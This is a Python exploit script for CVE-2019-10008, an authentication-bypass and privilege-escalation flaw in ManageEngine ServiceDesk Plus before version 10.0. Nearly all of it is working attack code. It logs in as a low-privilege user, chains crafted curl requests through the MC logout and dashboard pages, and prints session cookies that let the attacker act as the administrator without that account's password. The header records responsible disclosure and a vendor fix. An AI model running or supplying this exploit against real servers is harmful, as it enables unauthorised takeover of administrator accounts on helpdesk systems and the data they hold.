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193 lines
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7.1 KiB
Python
Executable file
193 lines
No EOL
7.1 KiB
Python
Executable file
#!/usr/bin/python
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# Exploit Title: Manage Engine ServiceDesk Plus Version <10.0 Privilege Escalation
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# Date: 30-03-2019
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# Exploit Author: Ata Hakçıl, Melih Kaan Yıldız
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# Vendor: ManageEngine
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# Vendor Homepage: www.manageengine.com
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# Product: Service Desk Plus
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# Version: 10.0
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# Tested On: Kali Linux
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# CVE: CVE-2019-10008
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# Platform: JSP
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# Timeline
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# 22 march 2019: Discovery
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# 24 march 2019: CVE id reserved for CVE-2019-10008
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# 26 march 2019: First contact with vendor
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# 5 april 2019: First publication
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# 10 april 2019: Vendor confirmation
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# 11 april 2019: Vendor released a fix (version 10017)
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# Reference link: https://www.manageengine.com/products/service-desk/readme.html
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import os
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import re
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# How to use: Change the host, low_username, low_password and high_username variables depending on what you have.
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# Low username and password is an account you have access to. high_username is account you want to authenticate as.
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# After running the script, it will output you the cookies that you can set on your browser to login to the high_username without password.
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#Host ip address + port
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host="localhost:8080"
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#set to https if needed
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url = "http://" + host
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#Username with credentials you have
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low_username="guest"
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low_password="guest"
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#username you want to login as
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high_username="administrator"
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print("\033[1;37mUrl: \033[1;32m" + url)
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print("\033[1;37mUser with low priv: \033[1;32m" + low_username + ':' + low_password)
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print("\033[1;37mUser to bypass authentication to: \033[1;32m" + high_username)
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print("\033[1;32mGetting a session id\033[1;37m")
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# Get index page to capture a session id
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curl = "curl -i -s -k -X $'GET' \
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-H $'Host: "+host+"' -H $'Referer: "+url+"/' -H $'Connection: close'\
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$'"+url+"/'"
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out = os.popen('/bin/bash -c "' + curl+'"').read()
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sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
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print("Sessid:")
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print(sessid)
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print("\033[1;31mLogging in with low privilege user\033[1;37m")
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#Attempt login post request
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curl="curl -i -s -k -X $'POST' -H $'Host: "+host+"'\
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-H $'Referer: "+url+"/'\
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-H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \
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-b $'JSESSIONID="+sessid+"' \
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--data-binary $'j_username="+low_username+"&j_password="+low_password+"&LDAPEnable=false&\
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hidden=Select+a+Domain&hidden=For+Domain&AdEnable=false&DomainCount=0&LocalAuth=No&LocalAuthWithDomain=No&\
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dynamicUserAddition_status=true&localAuthEnable=true&logonDomainName=-1&loginButton=Login&checkbox=checkbox' \
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$'"+url+"/j_security_check'"
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out = os.popen('/bin/bash -c "' + curl+'"').read()
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#Instead of following redirects with -L, following manually because we don't need all the transactions.
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curl="curl -i -s -k -X $'GET' -H $'Host: "+host+"'\
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-H $'Referer: "+url+"/'\
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-H $'Connection: close' -H $'Cookie: JSESSIONID="+sessid+"' \
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-b $'JSESSIONID="+sessid+"' \
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$'"+url+"/'"
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out = os.popen('/bin/bash -c "' + curl+'"').read()
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print("\033[1;32mCaptured authenticated cookies.\033[1;37m")
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sessid = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
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print(sessid)
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sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]
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print(sessidsso)
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grbl = re.findall("(?<=Set-Cookie: )[^=]*=[^;]*",out)
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grbl2 = []
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for cookie in grbl:
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cl = cookie.split('=')
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if cl[0]!='JSESSIONID' and cl[0]!='JSESSIONIDSSO' and cl[0]!='_rem':
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grbl2.append(cl[0])
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grbl2.append(cl[1])
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curl = "curl -i -s -k -X $'GET' \
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-H $'Host: "+host+"' \
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-H $'Cookie: JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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-b $'JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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$'"+url+"/mc/'"
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out = os.popen('/bin/bash -c "' + curl+'"').read()
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sessid2 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
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print("\033[1;32mCaptured secondary sessid.\033[1;37m")
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print(sessid2)
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print("\033[1;31mDoing the magic step 1.\033[1;37m")
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curl = "curl -i -s -k -X $'GET' \
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-H $'Host: "+host+"' \
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-H $'Referer: "+url+"/mc/WOListView.do' \
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-H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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-b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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$'"+url+"/mc/jsp/MCLogOut.jsp'"
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out = os.popen('/bin/bash -c "' + curl+'"').read()
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print("\033[1;31mDoing the magic step 2.\033[1;37m")
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curl = "curl -i -s -k -X $'GET' \
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-H $'Host: "+host+"' \
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-H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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-b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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$'"+url+"/mc/jsp/MCDashboard.jsp'"
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out = os.popen('/bin/bash -c "' + curl+'"').read()
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sessid3 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
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sessidsso = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]
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curl = "curl -i -s -k -X $'GET' \
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-H $'Host: "+host+"' \
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-H $'Cookie: JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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-b $'JSESSIONID="+sessid2+"; JSESSIONID="+sessid+"; JSESSIONIDSSO="+sessidsso+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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$'"+url+"/'"
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out = os.popen('/bin/bash -c "' + curl+'"').read()
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sessid4 = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
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curl = "curl -i -s -k -X $'POST' \
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-H $'"+host+"' \
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-H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \
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-H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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-b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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--data-binary $'j_username="+high_username+"&j_password=bypassingpass&DOMAIN_NAME=' \
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$'"+url+"/mc/j_security_check'"
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out = os.popen('/bin/bash -c "' + curl+'"').read()
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curl = "curl -i -s -k -X $'GET' \
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-H $'Host: "+host+"' \
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-H $'Referer: "+url+"/mc/jsp/MCDashboard.jsp' \
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-H $'Cookie: JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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-H $'Upgrade-Insecure-Requests: 1' \
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-b $'JSESSIONID="+sessid3+"; JSESSIONID="+sessid4+"; _rem=true;"+grbl2[0]+"="+grbl2[1]+"; "+grbl2[2]+"="+grbl2[3]+"' \
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$'"+url+"/mc/jsp/MCDashboard.jsp'"
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out = os.popen('/bin/bash -c "' + curl+'"').read()
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sessidhigh = re.findall("(?<=Set-Cookie: JSESSIONID=)[^;]*",out)[0]
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sessidssohigh = re.findall("(?<=Set-Cookie: JSESSIONIDSSO=)[^;]*",out)[0]
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print("\033[1;31mCaptured target session.Set following cookies on your browser.\033[1;37m")
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print("JSESSIONID=" + sessidhigh)
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print("JSESSIONIDSSO=" + sessidssohigh)
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print(grbl2[0] + "=" + grbl2[1])
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print(grbl2[2] + "=" + grbl2[3])
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print("_rem=true") |